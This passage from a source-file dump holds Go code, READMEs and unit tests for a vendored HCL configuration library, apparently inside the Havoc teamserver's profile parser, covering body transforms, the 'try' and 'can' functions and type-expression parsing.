    "content": "package transform\n\nimport (\n    \"testing\"\n\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hcltest\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// Assert that deepWrapper implements Body\nvar deepWrapperIsBody hcl.Body = deepWrapper{}\n\nfunc TestDeep(t *testing.T) {\n\n    testTransform := TransformerFunc(func(body hcl.Body) hcl.Body {\n        _, remain, diags := body.PartialContent(&hcl.BodySchema{\n            Blocks: []hcl.BlockHeaderSchema{\n                {\n                    Type: \"remove\",\n                },\n            },\n        })\n\n        return BodyWithDiagnostics(remain, diags)\n    })\n\n    src := hcltest.MockBody(&hcl.BodyContent{\n        Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n            \"true\": hcltest.MockExprLiteral(cty.True),\n        }),\n        Blocks: []*hcl.Block{\n            {\n                Type: \"remove\",\n                Body: hcl.EmptyBody(),\n            },\n            {\n                Type: \"child\",\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Blocks: []*hcl.Block{\n                        {\n                            Type: \"remove\",\n                        },\n                    },\n                }),\n            },\n        },\n    })\n\n    wrapped := Deep(src, testTransform)\n\n    rootContent, diags := wrapped.Content(&hcl.BodySchema{\n        Attributes: []hcl.AttributeSchema{\n            {\n                Name: \"true\",\n            },\n        },\n        Blocks: []hcl.BlockHeaderSchema{\n            {\n                Type: \"child\",\n            },\n        },\n    })\n    if len(diags) != 0 {\n        t.Errorf(\"unexpected diagnostics for root content\")\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag)\n        }\n    }\n\n    wantAttrs := hcltest.MockAttrs(map[string]hcl.Expression{\n        \"true\": hcltest.MockExprLiteral(cty.True),\n    })\n    if !reflect.DeepEqual(rootContent.Attributes, wantAttrs) {\n        t.Errorf(\"wrong root attributes\\ngot:  %#v\\nwant: %#v\", rootContent.Attributes, wantAttrs)\n    }\n\n    if got, want := len(rootContent.Blocks), 1; got != want {\n        t.Fatalf(\"wrong number of root blocks %d; want %d\", got, want)\n    }\n    if got, want := rootContent.Blocks[0].Type, \"child\"; got != want {\n        t.Errorf(\"wrong block type %s; want %s\", got, want)\n    }\n\n    childBlock := rootContent.Blocks[0]\n    childContent, diags := childBlock.Body.Content(&hcl.BodySchema{})\n    if len(diags) != 0 {\n        t.Errorf(\"unexpected diagnostics for child content\")\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag)\n        }\n    }\n\n    if len(childContent.Attributes) != 0 {\n        t.Errorf(\"unexpected attributes in child content; want empty content\")\n    }\n    if len(childContent.Blocks) != 0 {\n        t.Errorf(\"unexpected blocks in child content; want empty content\")\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/transform/transformer.go",
    "content": "package transform\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// A Transformer takes a given body, applies some (possibly no-op)\n// transform to it, and returns the new body.\n//\n// It must _not_ mutate the given body in-place.\n//\n// The transform call cannot fail, but it _can_ return a body that immediately\n// returns diagnostics when its methods are called. NewErrorBody is a utility\n// to help with this.\ntype Transformer interface {\n    TransformBody(hcl.Body) hcl.Body\n}\n\n// TransformerFunc is a function type that implements Transformer.\ntype TransformerFunc func(hcl.Body) hcl.Body\n\n// TransformBody is an implementation of Transformer.TransformBody.\nfunc (f TransformerFunc) TransformBody(in hcl.Body) hcl.Body {\n    return f(in)\n}\n\ntype chain []Transformer\n\n// Chain takes a slice of transformers and returns a single new\n// Transformer that applies each of the given transformers in sequence.\nfunc Chain(c []Transformer) Transformer {\n    return chain(c)\n}\n\nfunc (c chain) TransformBody(body hcl.Body) hcl.Body {\n    for _, t := range c {\n        body = t.TransformBody(body)\n    }\n    return body\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/tryfunc/README.md",
    "content": "# \"Try\" and \"can\" functions\n\nThis Go package contains two `cty` functions intended for use in an\n`hcl.EvalContext` when evaluating HCL native syntax expressions.\n\nThe first function `try` attempts to evaluate each of its argument expressions\nin order until one produces a result without any errors.\n\n```hcl\ntry(non_existent_variable, 2) # returns 2\n```\n\nIf none of the expressions succeed, the function call fails with all of the\nerrors it encountered.\n\nThe second function `can` is similar except that it ignores the result of\nthe given expression altogether and simply returns `true` if the expression\nproduced a successful result or `false` if it produced errors.\n\nBoth of these are primarily intended for working with deep data structures\nwhich might not have a dependable shape. For example, we can use `try` to\nattempt to fetch a value from deep inside a data structure but produce a\ndefault value if any step of the traversal fails:\n\n```hcl\nresult = try(foo.deep[0].lots.of[\"traversals\"], null)\n```\n\nThe final result to `try` should generally be some sort of constant value that\nwill always evaluate successfully.\n\n## Using these functions\n\nLanguages built on HCL can make `try` and `can` available to user code by\nexporting them in the `hcl.EvalContext` used for expression evaluation:\n\n```go\nctx := &hcl.EvalContext{\n    Functions: map[string]function.Function{\n        \"try\": tryfunc.TryFunc,\n        \"can\": tryfunc.CanFunc,\n    },\n}\n```\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc.go",
    "content": "// Package tryfunc contains some optional functions that can be exposed in\n// HCL-based languages to allow authors to test whether a particular expression\n// can succeed and take dynamic action based on that result.\n//\n// These functions are implemented in terms of the customdecode extension from\n// the sibling directory \"customdecode\", and so they are only useful when\n// used within an HCL EvalContext. Other systems using cty functions are\n// unlikely to support the HCL-specific \"customdecode\" extension.\npackage tryfunc\n\nimport (\n    \"errors\"\n    \"fmt\"\n    \"strings\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/ext/customdecode\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\n// TryFunc is a variadic function that tries to evaluate all of is arguments\n// in sequence until one succeeds, in which case it returns that result, or\n// returns an error if none of them succeed.\nvar TryFunc function.Function\n\n// CanFunc tries to evaluate the expression given in its first argument.\nvar CanFunc function.Function\n\nfunc init() {\n    TryFunc = function.New(&function.Spec{\n        VarParam: &function.Parameter{\n            Name: \"expressions\",\n            Type: customdecode.ExpressionClosureType,\n        },\n        Type: func(args []cty.Value) (cty.Type, error) {\n            v, err := try(args)\n            if err != nil {\n                return cty.NilType, err\n            }\n            return v.Type(), nil\n        },\n        Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) {\n            return try(args)\n        },\n    })\n    CanFunc = function.New(&function.Spec{\n        Params: []function.Parameter{\n            {\n                Name: \"expression\",\n                Type: customdecode.ExpressionClosureType,\n            },\n        },\n        Type: function.StaticReturnType(cty.Bool),\n        Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) {\n            return can(args[0])\n        },\n    })\n}\n\nfunc try(args []cty.Value) (cty.Value, error) {\n    if len(args) == 0 {\n        return cty.NilVal, errors.New(\"at least one argument is required\")\n    }\n\n    // We'll collect up all of the diagnostics we encounter along the way\n    // and report them all if none of the expressions succeed, so that the\n    // user might get some hints on how to make at least one succeed.\n    var diags hcl.Diagnostics\n    for _, arg := range args {\n        closure := customdecode.ExpressionClosureFromVal(arg)\n        if dependsOnUnknowns(closure.Expression, closure.EvalContext) {\n            // We can't safely decide if this expression will succeed yet,\n            // and so our entire result must be unknown until we have\n            // more information.\n            return cty.DynamicVal, nil\n        }\n\n        v, moreDiags := closure.Value()\n        diags = append(diags, moreDiags...)\n        if moreDiags.HasErrors() {\n            continue // try the next one, if there is one to try\n        }\n        return v, nil // ignore any accumulated diagnostics if one succeeds\n    }\n\n    // If we fall out here then none of the expressions succeeded, and so\n    // we must have at least one diagnostic and we'll return all of them\n    // so that the user can see the errors related to whichever one they\n    // were expecting to have succeeded in this case.\n    //\n    // Because our function must return a single error value rather than\n    // diagnostics, we'll construct a suitable error message string\n    // that will make sense in the context of the function call failure\n    // diagnostic HCL will eventually wrap this in.\n    var buf strings.Builder\n    buf.WriteString(\"no expression succeeded:\\n\")\n    for _, diag := range diags {\n        if diag.Subject != nil {\n            buf.WriteString(fmt.Sprintf(\"- %s (at %s)\\n  %s\\n\", diag.Summary, diag.Subject, diag.Detail))\n        } else {\n            buf.WriteString(fmt.Sprintf(\"- %s\\n  %s\\n\", diag.Summary, diag.Detail))\n        }\n    }\n    buf.WriteString(\"\\nAt least one expression must produce a successful result\")\n    return cty.NilVal, errors.New(buf.String())\n}\n\nfunc can(arg cty.Value) (cty.Value, error) {\n    closure := customdecode.ExpressionClosureFromVal(arg)\n    if dependsOnUnknowns(closure.Expression, closure.EvalContext) {\n        // Can't decide yet, then.\n        return cty.UnknownVal(cty.Bool), nil\n    }\n\n    _, diags := closure.Value()\n    if diags.HasErrors() {\n        return cty.False, nil\n    }\n    return cty.True, nil\n}\n\n// dependsOnUnknowns returns true if any of the variables that the given\n// expression might access are unknown values or contain unknown values.\n//\n// This is a conservative result that prefers to return true if there's any\n// chance that the expression might derive from an unknown value during its\n// evaluation; it is likely to produce false-positives for more complex\n// expressions involving deep data structures.\nfunc dependsOnUnknowns(expr hcl.Expression, ctx *hcl.EvalContext) bool {\n    for _, traversal := range expr.Variables() {\n        val, diags := traversal.TraverseAbs(ctx)\n        if diags.HasErrors() {\n            // If the traversal returned a definitive error then it must\n            // not traverse through any unknowns.\n            continue\n        }\n        if !val.IsWhollyKnown() {\n            // The value will be unknown if either it refers directly to\n            // an unknown value or if the traversal moves through an unknown\n            // collection. We're using IsWhollyKnown, so this also catches\n            // situations where the traversal refers to a compound data\n            // structure that contains any unknown values. That's important,\n            // because during evaluation the expression might evaluate more\n            // deeply into this structure and encounter the unknowns.\n            return true\n        }\n    }\n    return false\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc_test.go",
    "content": "package tryfunc\n\nimport (\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\nfunc TestTryFunc(t *testing.T) {\n    tests := map[string]struct {\n        expr    string\n        vars    map[string]cty.Value\n        want    cty.Value\n        wantErr string\n    }{\n        \"one argument succeeds\": {\n            `try(1)`,\n            nil,\n            cty.NumberIntVal(1),\n            ``,\n        },\n        \"one marked argument succeeds\": {\n            `try(sensitive)`,\n            map[string]cty.Value{\n                \"sensitive\": cty.StringVal(\"secret\").Mark(\"porpoise\"),\n            },\n            cty.StringVal(\"secret\").Mark(\"porpoise\"),\n            ``,\n        },\n        \"two arguments, first succeeds\": {\n            `try(1, 2)`,\n            nil,\n            cty.NumberIntVal(1),\n            ``,\n        },\n        \"two arguments, first fails\": {\n            `try(nope, 2)`,\n            nil,\n            cty.NumberIntVal(2),\n            ``,\n        },\n        \"two arguments, first depends on unknowns\": {\n            `try(unknown, 2)`,\n            map[string]cty.Value{\n                \"unknown\": cty.UnknownVal(cty.Number),\n            },\n            cty.DynamicVal, // can't proceed until first argument is known\n            ``,\n        },\n        \"two arguments, first succeeds and second depends on unknowns\": {\n            `try(1, unknown)`,\n            map[string]cty.Value{\n                \"unknown\": cty.UnknownVal(cty.Number),\n            },\n            cty.NumberIntVal(1), // we know 1st succeeds, so it doesn't matter that 2nd is unknown\n            ``,\n        },\n        \"two arguments, first depends on unknowns deeply\": {\n            `try(has_unknowns, 2)`,\n            map[string]cty.Value{\n                \"has_unknowns\": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}),\n            },\n            cty.DynamicVal, // can't proceed until first argument is wholly known\n            ``,\n        },\n        \"two arguments, first traverses through an unkown\": {\n            `try(unknown.baz, 2)`,\n            map[string]cty.Value{\n                \"unknown\": cty.UnknownVal(cty.Map(cty.String)),\n            },\n            cty.DynamicVal, // can't proceed until first argument is wholly known\n            ``,\n        },\n        \"two arguments, both marked, first succeeds\": {\n            `try(sensitive, other)`,\n            map[string]cty.Value{\n                \"sensitive\": cty.StringVal(\"secret\").Mark(\"porpoise\"),\n                \"other\":     cty.StringVal(\"that\").Mark(\"a\"),\n            },\n            cty.StringVal(\"secret\").Mark(\"porpoise\"),\n            ``,\n        },\n        \"two arguments, both marked, second succeeds\": {\n            `try(sensitive, other)`,\n            map[string]cty.Value{\n                \"other\": cty.StringVal(\"that\").Mark(\"a\"),\n            },\n            cty.StringVal(\"that\").Mark(\"a\"),\n            ``,\n        },\n        \"two arguments, result is element of marked list \": {\n            `try(sensitive[0], other)`,\n            map[string]cty.Value{\n                \"sensitive\": cty.ListVal([]cty.Value{\n                    cty.StringVal(\"list\"),\n                    cty.StringVal(\"of \"),\n                    cty.StringVal(\"secrets\"),\n                }).Mark(\"secret\"),\n                \"other\": cty.StringVal(\"not\"),\n            },\n            cty.StringVal(\"list\").Mark(\"secret\"),\n            ``,\n        },\n        \"three arguments, all fail\": {\n            `try(this, that, this_thing_in_particular)`,\n            nil,\n            cty.NumberIntVal(2),\n            // The grammar of this stringification of the message is unfortunate,\n            // but caller can type-assert our result to get the original\n            // diagnostics directly in order to produce a better result.\n            `test.hcl:1,1-5: Error in function call; Call to function \"try\" failed: no expression succeeded:\n- Variables not allowed (at test.hcl:1,5-9)\n  Variables may not be used here.\n- Variables not allowed (at test.hcl:1,11-15)\n  Variables may not be used here.\n- Variables not allowed (at test.hcl:1,17-41)\n  Variables may not be used here.\n\nAt least one expression must produce a successful result.`,\n        },\n        \"no arguments\": {\n            `try()`,\n            nil,\n            cty.NilVal,\n            `test.hcl:1,1-5: Error in function call; Call to function \"try\" failed: at least one argument is required.`,\n        },\n    }\n\n    for k, test := range tests {\n        t.Run(k, func(t *testing.T) {\n            expr, diags := hclsyntax.ParseExpression([]byte(test.expr), \"test.hcl\", hcl.Pos{Line: 1, Column: 1})\n            if diags.HasErrors() {\n                t.Fatalf(\"unexpected problems: %s\", diags.Error())\n            }\n\n            ctx := &hcl.EvalContext{\n                Variables: test.vars,\n                Functions: map[string]function.Function{\n                    \"try\": TryFunc,\n                },\n            }\n\n            got, err := expr.Value(ctx)\n\n            if err != nil {\n                if test.wantErr != \"\" {\n                    if got, want := err.Error(), test.wantErr; got != want {\n                        t.Errorf(\"wrong error\\ngot:  %s\\nwant: %s\", got, want)\n                    }\n                } else {\n                    t.Errorf(\"unexpected error\\ngot:  %s\\nwant: <nil>\", err)\n                }\n                return\n            }\n            if test.wantErr != \"\" {\n                t.Errorf(\"wrong error\\ngot:  <nil>\\nwant: %s\", test.wantErr)\n            }\n\n            if !test.want.RawEquals(got) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestCanFunc(t *testing.T) {\n    tests := map[string]struct {\n        expr string\n        vars map[string]cty.Value\n        want cty.Value\n    }{\n        \"succeeds\": {\n            `can(1)`,\n            nil,\n            cty.True,\n        },\n        \"fails\": {\n            `can(nope)`,\n            nil,\n            cty.False,\n        },\n        \"simple unknown\": {\n            `can(unknown)`,\n            map[string]cty.Value{\n                \"unknown\": cty.UnknownVal(cty.Number),\n            },\n            cty.UnknownVal(cty.Bool),\n        },\n        \"traversal through unknown\": {\n            `can(unknown.foo)`,\n            map[string]cty.Value{\n                \"unknown\": cty.UnknownVal(cty.Map(cty.Number)),\n            },\n            cty.UnknownVal(cty.Bool),\n        },\n        \"deep unknown\": {\n            `can(has_unknown)`,\n            map[string]cty.Value{\n                \"has_unknown\": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}),\n            },\n            cty.UnknownVal(cty.Bool),\n        },\n    }\n\n    for k, test := range tests {\n        t.Run(k, func(t *testing.T) {\n            expr, diags := hclsyntax.ParseExpression([]byte(test.expr), \"test.hcl\", hcl.Pos{Line: 1, Column: 1})\n            if diags.HasErrors() {\n                t.Fatalf(\"unexpected problems: %s\", diags.Error())\n            }\n\n            ctx := &hcl.EvalContext{\n                Variables: test.vars,\n                Functions: map[string]function.Function{\n                    \"can\": CanFunc,\n                },\n            }\n\n            got, err := expr.Value(ctx)\n            if err != nil {\n                t.Errorf(\"unexpected error\\ngot:  %s\\nwant: <nil>\", err)\n            }\n            if !test.want.RawEquals(got) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/README.md",
    "content": "# HCL Type Expressions Extension\n\nThis HCL extension defines a convention for describing HCL types using function\ncall and variable reference syntax, allowing configuration formats to include\ntype information provided by users.\n\nThe type syntax is processed statically from a hcl.Expression, so it cannot\nuse any of the usual language operators. This is similar to type expressions\nin statically-typed programming languages.\n\n```hcl\nvariable \"example\" {\n  type = list(string)\n}\n```\n\nThe extension is built using the `hcl.ExprAsKeyword` and `hcl.ExprCall`\nfunctions, and so it relies on the underlying syntax to define how \"keyword\"\nand \"call\" are interpreted. The above shows how they are interpreted in\nthe HCL native syntax, while the following shows the same information\nexpressed in JSON:\n\n```json\n{\n  \"variable\": {\n    \"example\": {\n      \"type\": \"list(string)\"\n    }\n  }\n}\n```\n\nNotice that since we have additional contextual information that we intend\nto allow only calls and keywords the JSON syntax is able to parse the given\nstring directly as an expression, rather than as a template as would be\nthe case for normal expression evaluation.\n\nFor more information, see [the godoc reference](http://godoc.org/Havoc/pkg/profile/yaotl/ext/typeexpr).\n\n## Type Expression Syntax\n\nWhen expressed in the native syntax, the following expressions are permitted\nin a type expression:\n\n* `string` - string\n* `bool` - boolean\n* `number` - number\n* `any` - `cty.DynamicPseudoType` (in function `TypeConstraint` only)\n* `list(<type_expr>)` - list of the type given as an argument\n* `set(<type_expr>)` - set of the type given as an argument\n* `map(<type_expr>)` - map of the type given as an argument\n* `tuple([<type_exprs...>])` - tuple with the element types given in the single list argument\n* `object({<attr_name>=<type_expr>, ...}` - object with the attributes and corresponding types given in the single map argument\n\nFor example:\n\n* `list(string)`\n* `object({name=string,age=number})`\n* `map(object({name=string,age=number}))`\n\nNote that the object constructor syntax is not fully-general for all possible\nobject types because it requires the attribute names to be valid identifiers.\nIn practice it is expected that any time an object type is being fixed for\ntype checking it will be one that has identifiers as its attributes; object\ntypes with weird attributes generally show up only from arbitrary object\nconstructors in configuration files, which are usually treated either as maps\nor as the dynamic pseudo-type.\n\n## Type Constraints as Values\n\nAlong with defining a convention for writing down types using HCL expression\nconstructs, this package also includes a mechanism for representing types as\nvalues that can be used as data within an HCL-based language.\n\n`typeexpr.TypeConstraintType` is a\n[`cty` capsule type](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types)\nthat encapsulates `cty.Type` values. You can construct such a value directly\nusing the `TypeConstraintVal` function:\n\n```go\ntyVal := typeexpr.TypeConstraintVal(cty.String)\n\n// We can unpack the type from a value using TypeConstraintFromVal\nty := typeExpr.TypeConstraintFromVal(tyVal)\n```\n\nHowever, the primary purpose of `typeexpr.TypeConstraintType` is to be\nspecified as the type constraint for an argument, in which case it serves\nas a signal for HCL to treat the argument expression as a type constraint\nexpression as defined above, rather than as a normal value expression.\n\n\"An argument\" in the above in practice means the following two locations:\n\n* As the type constraint for a parameter of a cty function that will be\n  used in an `hcl.EvalContext`. In that case, function calls in the HCL\n  native expression syntax will require the argument to be valid type constraint\n  expression syntax and the function implementation will receive a\n  `TypeConstraintType` value as the argument value for that parameter.\n\n* As the type constraint for a `hcldec.AttrSpec` or `hcldec.BlockAttrsSpec`\n  when decoding an HCL body using `hcldec`. In that case, the attributes\n  with that type constraint will be required to be valid type constraint\n  expression syntax and the result will be a `TypeConstraintType` value.\n\nNote that the special handling of these arguments means that an argument\nmarked in this way must use the type constraint syntax directly. It is not\nvalid to pass in a value of `TypeConstraintType` that has been obtained\ndynamically via some other expression result.\n\n`TypeConstraintType` is provided with the intent of using it internally within\napplication code when incorporating type constraint expression syntax into\nan HCL-based language, not to be used for dynamic \"programming with types\". A\ncalling application could support programming with types by defining its _own_\ncapsule type, but that is not the purpose of `TypeConstraintType`.\n\n## The \"convert\" `cty` Function\n\nBuilding on the `TypeConstraintType` described in the previous section, this\npackage also provides `typeexpr.ConvertFunc` which is a cty function that\ncan be placed into a `cty.EvalContext` (conventionally named \"convert\") in\norder to provide a general type conversion function in an HCL-based language:\n\n```hcl\n  foo = convert(\"true\", bool)\n```\n\nThe second parameter uses the mechanism described in the previous section to\nrequire its argument to be a type constraint expression rather than a value\nexpression. In doing so, it allows converting with any type constraint that\ncan be expressed in this package's type constraint syntax. In the above example,\nthe `foo` argument would receive a boolean true, or `cty.True` in `cty` terms.\n\nThe target type constraint must always be provided statically using inline\ntype constraint syntax. There is no way to _dynamically_ select a type\nconstraint using this function.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/doc.go",
    "content": "// Package typeexpr extends HCL with a convention for describing HCL types\n// within configuration files.\n//\n// The type syntax is processed statically from a hcl.Expression, so it cannot\n// use any of the usual language operators. This is similar to type expressions\n// in statically-typed programming languages.\n//\n//     variable \"example\" {\n//       type = list(string)\n//     }\npackage typeexpr\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/get_type.go",
    "content": "package typeexpr\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nconst invalidTypeSummary = \"Invalid type specification\"\n\n// getType is the internal implementation of both Type and TypeConstraint,\n// using the passed flag to distinguish. When constraint is false, the \"any\"\n// keyword will produce an error.\nfunc getType(expr hcl.Expression, constraint bool) (cty.Type, hcl.Diagnostics) {\n    // First we'll try for one of our keywords\n    kw := hcl.ExprAsKeyword(expr)\n    switch kw {\n    case \"bool\":\n        return cty.Bool, nil\n    case \"string\":\n        return cty.String, nil\n    case \"number\":\n        return cty.Number, nil\n    case \"any\":\n        if constraint {\n            return cty.DynamicPseudoType, nil\n        }\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   fmt.Sprintf(\"The keyword %q cannot be used in this type specification: an exact type is required.\", kw),\n            Subject:  expr.Range().Ptr(),\n        }}\n    case \"list\", \"map\", \"set\":\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   fmt.Sprintf(\"The %s type constructor requires one argument specifying the element type.\", kw),\n            Subject:  expr.Range().Ptr(),\n        }}\n    case \"object\":\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   \"The object type constructor requires one argument specifying the attribute types and values as a map.\",\n            Subject:  expr.Range().Ptr(),\n        }}\n    case \"tuple\":\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   \"The tuple type constructor requires one argument specifying the element types as a list.\",\n            Subject:  expr.Range().Ptr(),\n        }}\n    case \"\":\n        // okay! we'll fall through and try processing as a call, then.\n    default:\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   fmt.Sprintf(\"The keyword %q is not a valid type specification.\", kw),\n            Subject:  expr.Range().Ptr(),\n        }}\n    }\n\n    // If we get down here then our expression isn't just a keyword, so we'll\n    // try to process it as a call instead.\n    call, diags := hcl.ExprCall(expr)\n    if diags.HasErrors() {\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   \"A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).\",\n            Subject:  expr.Range().Ptr(),\n        }}\n    }\n\n    switch call.Name {\n    case \"bool\", \"string\", \"number\", \"any\":\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   fmt.Sprintf(\"Primitive type keyword %q does not expect arguments.\", call.Name),\n            Subject:  &call.ArgsRange,\n        }}\n    }\n\n    if len(call.Arguments) != 1 {\n        contextRange := call.ArgsRange\n        subjectRange := call.ArgsRange\n        if len(call.Arguments) > 1 {\n            // If we have too many arguments (as opposed to too _few_) then\n            // we'll highlight the extraneous arguments as the diagnostic\n            // subject.\n            subjectRange = hcl.RangeBetween(call.Arguments[1].Range(), call.Arguments[len(call.Arguments)-1].Range())\n        }\n\n        switch call.Name {\n        case \"list\", \"set\", \"map\":\n            return cty.DynamicPseudoType, hcl.Diagnostics{{\n                Severity: hcl.DiagError,\n                Summary:  invalidTypeSummary,\n                Detail:   fmt.Sprintf(\"The %s type constructor requires one argument specifying the element type.\", call.Name),\n                Subject:  &subjectRange,\n                Context:  &contextRange,\n            }}\n        case \"object\":\n            return cty.DynamicPseudoType, hcl.Diagnostics{{\n                Severity: hcl.DiagError,\n                Summary:  invalidTypeSummary,\n                Detail:   \"The object type constructor requires one argument specifying the attribute types and values as a map.\",\n                Subject:  &subjectRange,\n                Context:  &contextRange,\n            }}\n        case \"tuple\":\n            return cty.DynamicPseudoType, hcl.Diagnostics{{\n                Severity: hcl.DiagError,\n                Summary:  invalidTypeSummary,\n                Detail:   \"The tuple type constructor requires one argument specifying the element types as a list.\",\n                Subject:  &subjectRange,\n                Context:  &contextRange,\n            }}\n        }\n    }\n\n    switch call.Name {\n\n    case \"list\":\n        ety, diags := getType(call.Arguments[0], constraint)\n        return cty.List(ety), diags\n    case \"set\":\n        ety, diags := getType(call.Arguments[0], constraint)\n        return cty.Set(ety), diags\n    case \"map\":\n        ety, diags := getType(call.Arguments[0], constraint)\n        return cty.Map(ety), diags\n    case \"object\":\n        attrDefs, diags := hcl.ExprMap(call.Arguments[0])\n        if diags.HasErrors() {\n            return cty.DynamicPseudoType, hcl.Diagnostics{{\n                Severity: hcl.DiagError,\n                Summary:  invalidTypeSummary,\n                Detail:   \"Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.\",\n                Subject:  call.Arguments[0].Range().Ptr(),\n                Context:  expr.Range().Ptr(),\n            }}\n        }\n\n        atys := make(map[string]cty.Type)\n        for _, attrDef := range attrDefs {\n            attrName := hcl.ExprAsKeyword(attrDef.Key)\n            if attrName == \"\" {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  invalidTypeSummary,\n                    Detail:   \"Object constructor map keys must be attribute names.\",\n                    Subject:  attrDef.Key.Range().Ptr(),\n                    Context:  expr.Range().Ptr(),\n                })\n                continue\n            }\n            aty, attrDiags := getType(attrDef.Value, constraint)\n            diags = append(diags, attrDiags...)\n            atys[attrName] = aty\n        }\n        return cty.Object(atys), diags\n    case \"tuple\":\n        elemDefs, diags := hcl.ExprList(call.Arguments[0])\n        if diags.HasErrors() {\n            return cty.DynamicPseudoType, hcl.Diagnostics{{\n                Severity: hcl.DiagError,\n                Summary:  invalidTypeSummary,\n                Detail:   \"Tuple type constructor requires a list of element types.\",\n                Subject:  call.Arguments[0].Range().Ptr(),\n                Context:  expr.Range().Ptr(),\n            }}\n        }\n        etys := make([]cty.Type, len(elemDefs))\n        for i, defExpr := range elemDefs {\n            ety, elemDiags := getType(defExpr, constraint)\n            diags = append(diags, elemDiags...)\n            etys[i] = ety\n        }\n        return cty.Tuple(etys), diags\n    default:\n        // Can't access call.Arguments in this path because we've not validated\n        // that it contains exactly one expression here.\n        return cty.DynamicPseudoType, hcl.Diagnostics{{\n            Severity: hcl.DiagError,\n            Summary:  invalidTypeSummary,\n            Detail:   fmt.Sprintf(\"Keyword %q is not a valid type constructor.\", call.Name),\n            Subject:  expr.Range().Ptr(),\n        }}\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/get_type_test.go",
    "content": "package typeexpr\n\nimport (\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl/gohcl\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"Havoc/pkg/profile/yaotl/json\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestGetType(t *testing.T) {\n    tests := []struct {\n        Source     string\n        Constraint bool\n        Want       cty.Type\n        WantError  string\n    }{\n        // keywords\n        {\n            `bool`,\n            false,\n            cty.Bool,\n            \"\",\n        },\n        {\n            `number`,\n            false,\n            cty.Number,\n            \"\",\n        },\n        {\n            `string`,\n            false,\n            cty.String,\n            \"\",\n        },\n        {\n            `any`,\n            false,\n            cty.DynamicPseudoType,\n            `The keyword \"any\" cannot be used in this type specification: an exact type is required.`,\n        },\n        {\n            `any`,\n            true,\n            cty.DynamicPseudoType,\n            \"\",\n        },\n        {\n            `list`,\n            false,\n            cty.DynamicPseudoType,\n            \"The list type constructor requires one argument specifying the element type.\",\n        },\n        {\n            `map`,\n            false,\n            cty.DynamicPseudoType,\n            \"The map type constructor requires one argument specifying the element type.\",\n        },\n        {\n            `set`,\n            false,\n            cty.DynamicPseudoType,\n            \"The set type constructor requires one argument specifying the element type.\",\n        },\n        {\n            `object`,\n            false,\n            cty.DynamicPseudoType,\n            \"The object type constructor requires one argument specifying the attribute types and values as a map.\",\n        },\n        {\n            `tuple`,\n            false,\n            cty.DynamicPseudoType,\n            \"The tuple type constructor requires one argument specifying the element types as a list.\",\n        },\n\n        // constructors\n        {\n            `bool()`,\n            false,\n            cty.DynamicPseudoType,\n            `Primitive type keyword \"bool\" does not expect arguments.`,\n        },\n        {\n            `number()`,\n            false,\n            cty.DynamicPseudoType,\n            `Primitive type keyword \"number\" does not expect arguments.`,\n        },\n        {\n            `string()`,\n            false,\n            cty.DynamicPseudoType,\n            `Primitive type keyword \"string\" does not expect arguments.`,\n        },\n        {\n            `any()`,\n            false,\n            cty.DynamicPseudoType,\n            `Primitive type keyword \"any\" does not expect 